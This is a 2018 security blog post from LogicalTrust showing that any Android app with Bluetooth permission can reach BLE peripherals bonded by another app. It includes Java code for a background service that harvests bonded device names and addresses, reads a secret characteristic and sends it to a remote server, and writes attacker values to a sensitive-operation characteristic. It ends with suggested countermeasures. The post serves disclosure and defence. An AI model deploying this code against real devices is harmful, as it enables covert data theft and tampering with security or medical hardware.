[EN] BLE mobile application independent access

Bluetooth Low Energy (BLE) is a wireless standard, widely used to communicate Android and iOS mobile applications with devices of many kinds. These include home security, medical and other which may exchange sensitive data or perform sensitive operations. It’s critical to establish a secure communication using a proper pairing mode. However, despite the fact that MitM attacks will be prevented, the mobile device may be a weak link and expose the BLE peripheral to some sort of attack.

From the Android’s perspective bonding process applies to the whole operating system and not the specific application. Therefore, any app (having a Bluetooth permission) installed on the device may access bonded peripherals. Additionally, Android provides extensive Bluetooth API which may simplify development of apps with malicious functions. These apps would be able to access and abuse sensitive peripherals, and violate users’ privacy by getting names and physical addresses of bonded devices.

Let’s go through an example, where a legitimate application will bond with a sensitive BLE peripheral. Then a malicious app, which is not intended to connect with the peripheral, will detect and access it.

We’ll use two Android devices with the nRF Connect app installed. The first one will simulate a peripheral device, and the second one will connect and bond with it.

Peripheral setup

Let’s open nRF Connect and go to Configure GATT Server section. Then create a new configuration, adding at least one service. This service will have two characteristics. The first, with read permission, will serve as a simulated sensitive data provider. The second one, with write permission, will simulate an interface for a sensitive operation.

Configure GATT Server

When the service is configured, let’s go to the advertiser tab and create a new advertiser packet. Turning it on is the last step.

Pairing

Connection from mobile app

On the second device, also open nRF Connect. It will serve as our legitimate application. When our peripheral is detected after scanning, let’s bond using a secure pairing mode.

Pairing

After this process, the legitimate app can access peripheral’s characteristics and exchange data.

BLE central

Malicious access

Now let’s move on to the malicious application development. This one will only have a useless empty activity. Also, Bluetooth interaction will be limited to single reading and writing to not overcomplicate the example. This part will be placed in a service which will run in the background.

At the beginning Bluetooth and internet permissions should be set in Android Manifest. As these permission are classified as normal, the system grants them automatically without user interaction. Internet permission is needed to send data readh with Bluetooth back to our HTTP server. Code implementing that server is also as simple as possible. It’s a short python script which logs client’s IP and POST data.

<uses-permission android:name="android.permission.BLUETOOTH" />
<uses-permission android:name="android.permission.INTERNET" />

Next, let’s create our service.

public class MyService extends IntentService {
	
    private static final UUID SERVICE = UUID.fromString("00001111-0000-1000-8000-00805f9b34fb");
    private static final UUID SECRET_VALUE = UUID.fromString("00000001-8786-40ba-ab96-99b91ac981d8");
    private static final UUID SECRET_OPERATION = UUID.fromString("00000002-8786-40ba-ab96-99b91ac981d8");

    public MyService() {
        super("MyService");
    }

    protected void onHandleIntent(@Nullable Intent intent) {

    }

    private class MyCallback extends BluetoothGattCallback {

    }
}

At this moment it does nothing. Important parts are lines 3, 4 and 5, which defines UUIDs of a previously set up BLE service and peripherals. Such UUIDs may be identified by reverse engineering a legitimate app or analyzing a target device, but it’s not necessary, as Bluetooth API lists all available services and characteristics.

When the class skeleton is completed, let’s implement onHandleIntent method.

protected void onHandleIntent(@Nullable Intent intent) {
    BluetoothManager bluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
    BluetoothAdapter bluetoothAdapter = bluetoothManager.getAdapter();
    while (true) {
        sleep(10 * 1000);
        for (final BluetoothDevice device : bluetoothAdapter.getBondedDevices()) {
            sendToServer("Device: " + device.getName() + " | " + device.getAddress());
            BluetoothGatt gatt = d.connectGatt(this, true, new MyCallback());
            sleep(15 * 1000);
            gatt.disconnect();
        }
    }	
}

In every iteration of the infinite loop we get a list of all devices bonded in the system (line 5). Then, iterating over the list, each device’s name and address are sent to the server. The code also tries to connect to each device, passing in an instance of MyCallback. This object handles connection related events and will be responsible for reading from and writing to characteristics. As this operations will be executed asynchronously, we give them 15 seconds to complete before disconnection.

The main loop is finished, let’s move on to MyCallback class. Three methods will be involved in our workflow.

@Override
public void onConnectionStateChange(BluetoothGatt gatt, int status, int newState) {
    if (newState == BluetoothGatt.STATE_CONNECTED && !discover) {
        gatt.discoverServices();
        discover = true;
    }
}

The first one will be called on successful connection with a device, so we could start discovering services.

@Override
public void onServicesDiscovered(BluetoothGatt gatt, int status) {
    if (status == BluetoothGatt.GATT_SUCCESS && !read) {
        BluetoothGattService service = gatt.getService(SERVICE);
        if (service != null) {
            BluetoothGattCharacteristic characteristic = service.getCharacteristic(SECRET_VALUE);
            if (characteristic != null) {
                read = gatt.readCharacteristic(characteristic);
            }
        }
    }
}

The second one will be called after discovering services. This method checks if a device has the service we are looking for. If the service exists, it does the same for the sensitive data provider characteristics. If the characteristic exists as well, it initiates reading sensitive data. read and discover are fields used to prevent method execution more than once.

@Override
public void onCharacteristicRead(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic, int status) {
    sendToServer("Read: " + new String(characteristic.getValue()));
    BluetoothGattCharacteristic operation = characteristic.getService().getCharacteristic(SECRET_OPERATION);
    if (operation != null) {
        final String maliciousValue = "MaliciousParam" + new SecureRandom().nextInt();
        operation.setValue(maliciousValue);
        gatt.writeCharacteristic(operation);
        sendToServer("Written: " + maliciousValue);
    }
}

The last one is called when process finished passing read data. The code sends it to our HTTP server. Then it checks for sensitive operation characteristic. If this characteristic exists, a random value is generated which will be written to the characteristic and sent to our HTTP server.

Now let’s move on to the main activity to run the service.

public class MainActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Intent i = new Intent(this, MyService.class);
        startService(i);
    }
}

Full code of the application is available here.

Summarizing all operations of our malicious application:

  1. Start a background service (at this moment the app can be minimized)
  2. Get bonded devices
  3. Send device name and address to the server
  4. Read secret value and send it back to the server
  5. Write a random value and also send it back to our server
  6. Go to step 2

demo

Quick look on iOS

iOS behaves similarly in terms of boding, but its Bluetooth API is more limited than the Android one. It allows to list only connected devices offering a specified service, what makes abuse of devices inconvenient.

Countermeasures suggestion

If you want to prevent access to your BLE device from non legitimate apps, then the implementation of additional data encryption and authentication on the application layer should be considered. However, key exchange may be problematic.

The first, simplest idea is to hardcode keys in the app, but mobile apps are susceptible to reverse engineering, so these keys could be read and embedded in malicious apps. The second idea is to generate keys on the server side, but it’s not a good idea either, as a network communication could also be intercepted and keys duplicated.

The next idea is to generate keys dynamically, before bonding. Unfortunately, it also has flaws, as a malicious app can generate its own keys and exchange them with the device. Fortunately, this solution can be improved, making it worth something. After a successful bonding, keys should be generated and exchanged immediately. The device must not allow to exchange another set of keys with the already bonded and mobile device. This solution is not ideal, but the only time it can be abused is when a malicious app is active during a bonding phase and hits the device with its own keys before the legitimate app, what would require a perfect timing.

Conclusion

Application independent access to BLE peripherals is possible on both Android and iOS platforms. Because of its more extensive API and abundant history of malware, Android seems to be the easier target. Consequences of undesired access depends on the purpose, but they may be severe in case of devices realizing critical functionalities. Suggested solution is the best I came up with, but still leaves a slight loophole, so if you’ve solved this problem or have another idea I would be grateful for information.

Written on October 23, 2018 by Michał Dardas

We invite you to contact us

through the following form:

By sending an inquiry you agree that the LogicalTrust Company can contact you (e-mail, telephone) and send you its offer.

LogicalTrust sp. z o.o.
sp. k.

al. Aleksandra Brücknera 25-43
51-411 Wrocław, Poland, EU

NIP: 8952177980
KRS: 0000713515